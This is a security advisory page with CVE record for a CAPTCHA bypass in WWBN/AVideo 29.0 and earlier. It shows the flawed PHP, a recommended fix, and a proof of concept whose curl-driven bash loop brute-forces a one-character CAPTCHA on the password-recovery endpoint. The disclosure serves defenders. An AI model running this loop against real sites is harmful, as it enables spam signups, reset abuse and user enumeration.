Vulnerability-Lookup

GHSA-HG7G-56H5-5PQR

Vulnerability from github – Published: 2026-04-14 23:13 – Updated: 2026-04-14 23:13

Summary

CAPTCHA Bypass in WWBN/AVideo via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure

Details

Summary

objects/getCaptcha.php accepts the CAPTCHA length (ql) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive strcasecmp comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on Captcha::validation() (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.

Details

Three cooperating flaws in objects/getCaptcha.php and objects/captcha.php reduce CAPTCHA protection to a deterministic bypass.

1. External control of CAPTCHA strength (`objects/getCaptcha.php:7`)

$largura        = empty($_GET['l'])  ? 120 : $_GET['l'];
$altura         = empty($_GET['a'])  ? 40  : $_GET['a'];
$tamanho_fonte  = empty($_GET['tf']) ? 18  : $_GET['tf'];
$quantidade_letras = empty($_GET['ql']) ? 5 : $_GET['ql']; // attacker-controlled

$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);
$capcha->getCaptchaImage();

There is no minimum, no type-check, and no clamping. Requesting /objects/getCaptcha.php?ql=1 causes the server to generate a single-character word and save it to the attacker's own PHP session.

2. Small alphabet stored in the session (`objects/captcha.php:33-39`)

$letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789';
$palavra = substr(str_shuffle($letters), 0, ($this->quantidade_letras));
if (User::isAdmin() && empty($_REQUEST['forceCaptcha'])) {
    $palavra = "admin";
}
_session_start();
$_SESSION["palavra"] = $palavra;

After case-folding the alphabet is 25 letters (A–Z minus O) plus digits 2-9, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.

3. Weak comparison and token NOT invalidated on failure (`objects/captcha.php:58-75`)

public static function validation($word)
{
    if (User::isAdmin() && $_SESSION["palavra"] === 'admin') {
        return true;
    }
    _session_start();
    if (empty($_SESSION["palavra"])) {
        _error_log("Captcha validation Error: you type ({$word}) and session is empty ...");
        return false;
    }
    $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
    if (!$validation) {
        _error_log("Captcha validation Error: you type ({$word}) and session is ({$_SESSION["palavra"]}) ...");
    } else {
        unset($_SESSION["palavra"]); // Consume the captcha token to prevent reuse
    }
    return $validation;
}

Two problems here:

strcasecmp is case-insensitive, collapsing the alphabet to ~33 distinct values.
unset($_SESSION["palavra"]) only runs in the success branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.

Reachability

Captcha::validation() is invoked from unauthenticated entry points including:

objects/userCreate.json.php:38 — user registration (Captcha::validation($_POST['captcha']))
objects/userRecoverPass.php:31 — password recovery
objects/sendEmail.json.php:10 — public contact email
plugin/API/API.php:4243 and :5684 — public API endpoints
plugin/CustomizeUser/donate.json.php:62, confirmDeleteUser.json.php:15
plugin/YPTWallet/view/transferFunds.json.php:25

None of these require authentication for the CAPTCHA check to matter — they rely on it exactly because they're exposed to anonymous or lightly-authenticated callers.

PoC

Attacker flow against an unauthenticated signup/recovery endpoint:

Step 1 — Weaken the CAPTCHA to one character and install it in the attacker's own PHP session:

curl -c jar -s 'https://target/objects/getCaptcha.php?ql=1' -o /dev/null

Step 2 — Brute-force the single-character answer. Because failed attempts do NOT reset $_SESSION["palavra"], the same cookie jar is reused and the same stored value is checked against each guess:

for c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do
  code=$(curl -b jar -s -o /tmp/r -w '%{http_code}' -X POST \
    'https://target/objects/userRecoverPass.php' \
    --data-urlencode 'user=victim' \
    --data-urlencode 'recoverpass=1' \
    --data-urlencode "captcha=$c")
  if ! grep -q 'Your code is not valid' /tmp/r; then
    echo "HIT with captcha=$c"; break
  fi
done

Worst case: 33 POSTs per session to pass the CAPTCHA once.
With ql=2 the keyspace is ~1089 — still trivial and more robust against any edge cases involving empty() on a single-digit word.
The same technique works against userCreate.json.php, sendEmail.json.php, and every other Captcha::validation() caller.

Observed behavior on the local instance: each wrong guess returns "Your code is not valid" without rotating $_SESSION["palavra"]; the logged session is (<char>) message in _error_log stays the same across all failed attempts in a session, confirming the token is not rotated.

Impact

CAPTCHA is the only "are you human" control on several anonymous endpoints. Reducing it to a deterministic ≤33-try bypass enables:

Automated account creation / spam signups via userCreate.json.php.
User enumeration / password-reset spamming via userRecoverPass.php.
Unsolicited email abuse via sendEmail.json.php.
Comment / donation / wallet abuse on plugin endpoints that rely on Captcha::validation.

It does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact.

Recommended Fix

Three coordinated changes in objects/getCaptcha.php and objects/captcha.php:

Clamp ql (and ideally the other image params) to a safe server-side range:

php // objects/getCaptcha.php $quantidade_letras = isset($_GET['ql']) ? (int)$_GET['ql'] : 5; $quantidade_letras = max(5, min(8, $quantidade_letras));

Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh getCaptcha.php round-trip:

php // objects/captcha.php::validation() _session_start(); if (empty($_SESSION["palavra"])) { return false; } $stored = $_SESSION["palavra"]; unset($_SESSION["palavra"]); // always consume, regardless of outcome if (User::isAdmin() && $stored === 'admin') { return true; } return strcasecmp($word, $stored) === 0;

Use a CSPRNG for word generation instead of str_shuffle, e.g.:

php $palavra = ''; $len = strlen($letters); for ($i = 0; $i < $this->quantidade_letras; $i++) { $palavra .= $letters[random_int(0, $len - 1)]; }

Optionally also add an application-level rate limit (per IP / per session) on all endpoints that call Captcha::validation() as defense in depth.

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-804"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:13:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.\n\n## Details\n\nThree cooperating flaws in `objects/getCaptcha.php` and `objects/captcha.php` reduce CAPTCHA protection to a deterministic bypass.\n\n### 1. External control of CAPTCHA strength (`objects/getCaptcha.php:7`)\n\n```php\n$largura        = empty($_GET[\u0027l\u0027])  ? 120 : $_GET[\u0027l\u0027];\n$altura         = empty($_GET[\u0027a\u0027])  ? 40  : $_GET[\u0027a\u0027];\n$tamanho_fonte  = empty($_GET[\u0027tf\u0027]) ? 18  : $_GET[\u0027tf\u0027];\n$quantidade_letras = empty($_GET[\u0027ql\u0027]) ? 5 : $_GET[\u0027ql\u0027]; // attacker-controlled\n\n$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);\n$capcha-\u003egetCaptchaImage();\n```\n\nThere is no minimum, no type-check, and no clamping. Requesting `/objects/getCaptcha.php?ql=1` causes the server to generate a single-character word and save it to the attacker\u0027s own PHP session.\n\n### 2. Small alphabet stored in the session (`objects/captcha.php:33-39`)\n\n```php\n$letters = \u0027AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789\u0027;\n$palavra = substr(str_shuffle($letters), 0, ($this-\u003equantidade_letras));\nif (User::isAdmin() \u0026\u0026 empty($_REQUEST[\u0027forceCaptcha\u0027])) {\n    $palavra = \"admin\";\n}\n_session_start();\n$_SESSION[\"palavra\"] = $palavra;\n```\n\nAfter case-folding the alphabet is 25 letters (A\u2013Z minus `O`) plus digits `2-9`, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.\n\n### 3. Weak comparison and token NOT invalidated on failure (`objects/captcha.php:58-75`)\n\n```php\npublic static function validation($word)\n{\n    if (User::isAdmin() \u0026\u0026 $_SESSION[\"palavra\"] === \u0027admin\u0027) {\n        return true;\n    }\n    _session_start();\n    if (empty($_SESSION[\"palavra\"])) {\n        _error_log(\"Captcha validation Error: you type ({$word}) and session is empty ...\");\n        return false;\n    }\n    $validation = (strcasecmp($word, $_SESSION[\"palavra\"]) == 0);\n    if (!$validation) {\n        _error_log(\"Captcha validation Error: you type ({$word}) and session is ({$_SESSION[\"palavra\"]}) ...\");\n    } else {\n        unset($_SESSION[\"palavra\"]); // Consume the captcha token to prevent reuse\n    }\n    return $validation;\n}\n```\n\nTwo problems here:\n\n* `strcasecmp` is case-insensitive, collapsing the alphabet to ~33 distinct values.\n* `unset($_SESSION[\"palavra\"])` only runs in the **success** branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.\n\n### Reachability\n\n`Captcha::validation()` is invoked from unauthenticated entry points including:\n\n* `objects/userCreate.json.php:38` \u2014 user registration (`Captcha::validation($_POST[\u0027captcha\u0027])`)\n* `objects/userRecoverPass.php:31` \u2014 password recovery\n* `objects/sendEmail.json.php:10` \u2014 public contact email\n* `plugin/API/API.php:4243` and `:5684` \u2014 public API endpoints\n* `plugin/CustomizeUser/donate.json.php:62`, `confirmDeleteUser.json.php:15`\n* `plugin/YPTWallet/view/transferFunds.json.php:25`\n\nNone of these require authentication for the CAPTCHA check to matter \u2014 they rely on it exactly because they\u0027re exposed to anonymous or lightly-authenticated callers.\n\n## PoC\n\nAttacker flow against an unauthenticated signup/recovery endpoint:\n\nStep 1 \u2014 Weaken the CAPTCHA to one character and install it in the attacker\u0027s own PHP session:\n\n```\ncurl -c jar -s \u0027https://target/objects/getCaptcha.php?ql=1\u0027 -o /dev/null\n```\n\nStep 2 \u2014 Brute-force the single-character answer. Because failed attempts do NOT reset `$_SESSION[\"palavra\"]`, the same cookie jar is reused and the same stored value is checked against each guess:\n\n```\nfor c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do\n  code=$(curl -b jar -s -o /tmp/r -w \u0027%{http_code}\u0027 -X POST \\\n    \u0027https://target/objects/userRecoverPass.php\u0027 \\\n    --data-urlencode \u0027user=victim\u0027 \\\n    --data-urlencode \u0027recoverpass=1\u0027 \\\n    --data-urlencode \"captcha=$c\")\n  if ! grep -q \u0027Your code is not valid\u0027 /tmp/r; then\n    echo \"HIT with captcha=$c\"; break\n  fi\ndone\n```\n\n* Worst case: 33 POSTs per session to pass the CAPTCHA once.\n* With `ql=2` the keyspace is ~1089 \u2014 still trivial and more robust against any edge cases involving `empty()` on a single-digit word.\n* The same technique works against `userCreate.json.php`, `sendEmail.json.php`, and every other `Captcha::validation()` caller.\n\nObserved behavior on the local instance: each wrong guess returns `\"Your code is not valid\"` without rotating `$_SESSION[\"palavra\"]`; the logged `session is (\u003cchar\u003e)` message in `_error_log` stays the same across all failed attempts in a session, confirming the token is not rotated.\n\n## Impact\n\nCAPTCHA is the only \"are you human\" control on several anonymous endpoints. Reducing it to a deterministic \u226433-try bypass enables:\n\n* **Automated account creation / spam signups** via `userCreate.json.php`.\n* **User enumeration / password-reset spamming** via `userRecoverPass.php`.\n* **Unsolicited email abuse** via `sendEmail.json.php`.\n* **Comment / donation / wallet abuse** on plugin endpoints that rely on `Captcha::validation`.\n\nIt does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact.\n\n## Recommended Fix\n\nThree coordinated changes in `objects/getCaptcha.php` and `objects/captcha.php`:\n\n1. Clamp `ql` (and ideally the other image params) to a safe server-side range:\n\n   ```php\n   // objects/getCaptcha.php\n   $quantidade_letras = isset($_GET[\u0027ql\u0027]) ? (int)$_GET[\u0027ql\u0027] : 5;\n   $quantidade_letras = max(5, min(8, $quantidade_letras));\n   ```\n\n2. Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh `getCaptcha.php` round-trip:\n\n   ```php\n   // objects/captcha.php::validation()\n   _session_start();\n   if (empty($_SESSION[\"palavra\"])) {\n       return false;\n   }\n   $stored = $_SESSION[\"palavra\"];\n   unset($_SESSION[\"palavra\"]); // always consume, regardless of outcome\n   if (User::isAdmin() \u0026\u0026 $stored === \u0027admin\u0027) {\n       return true;\n   }\n   return strcasecmp($word, $stored) === 0;\n   ```\n\n3. Use a CSPRNG for word generation instead of `str_shuffle`, e.g.:\n\n   ```php\n   $palavra = \u0027\u0027;\n   $len = strlen($letters);\n   for ($i = 0; $i \u003c $this-\u003equantidade_letras; $i++) {\n       $palavra .= $letters[random_int(0, $len - 1)];\n   }\n   ```\n\nOptionally also add an application-level rate limit (per IP / per session) on all endpoints that call `Captcha::validation()` as defense in depth.",
  "id": "GHSA-hg7g-56h5-5pqr",
  "modified": "2026-04-14T23:13:21Z",
  "published": "2026-04-14T23:13:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/bf1c76989e6a9054be4f0eb009d68f0f2464b453"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CAPTCHA Bypass in WWBN/AVideo via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure"
}

CVE-2026-40935 (GCVE-0-2026-40935)

Vulnerability from cvelistv5 – Published: 2026-04-21 22:21 – Updated: 2026-04-22 18:36

Title

WWBN/AVideo has CAPTCHA Bypass via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure

Summary

WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session. Commit bf1c76989e6a9054be4f0eb009d68f0f2464b453 contains a fix.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-804 - Guessable CAPTCHA

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/commit/bf1c76989e6…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 29.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-40935",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-22T18:34:39.128005Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-22T18:36:10.405Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session. Commit bf1c76989e6a9054be4f0eb009d68f0f2464b453 contains a fix."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-804",
              "description": "CWE-804: Guessable CAPTCHA",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-21T22:21:17.009Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/bf1c76989e6a9054be4f0eb009d68f0f2464b453",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/bf1c76989e6a9054be4f0eb009d68f0f2464b453"
        }
      ],
      "source": {
        "advisory": "GHSA-hg7g-56h5-5pqr",
        "discovery": "UNKNOWN"
      },
      "title": "WWBN/AVideo has CAPTCHA Bypass via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-40935",
    "datePublished": "2026-04-21T22:21:17.009Z",
    "dateReserved": "2026-04-15T20:40:15.518Z",
    "dateUpdated": "2026-04-22T18:36:10.405Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-HG7G-56H5-5PQR

Summary

Details

1. External control of CAPTCHA strength (objects/getCaptcha.php:7)

2. Small alphabet stored in the session (objects/captcha.php:33-39)

3. Weak comparison and token NOT invalidated on failure (objects/captcha.php:58-75)

Reachability

PoC

Impact

Recommended Fix

CVE-2026-40935 (GCVE-0-2026-40935)

Tags

Sightings

Nomenclature

1. External control of CAPTCHA strength (`objects/getCaptcha.php:7`)

2. Small alphabet stored in the session (`objects/captcha.php:33-39`)

3. Weak comparison and token NOT invalidated on failure (`objects/captcha.php:58-75`)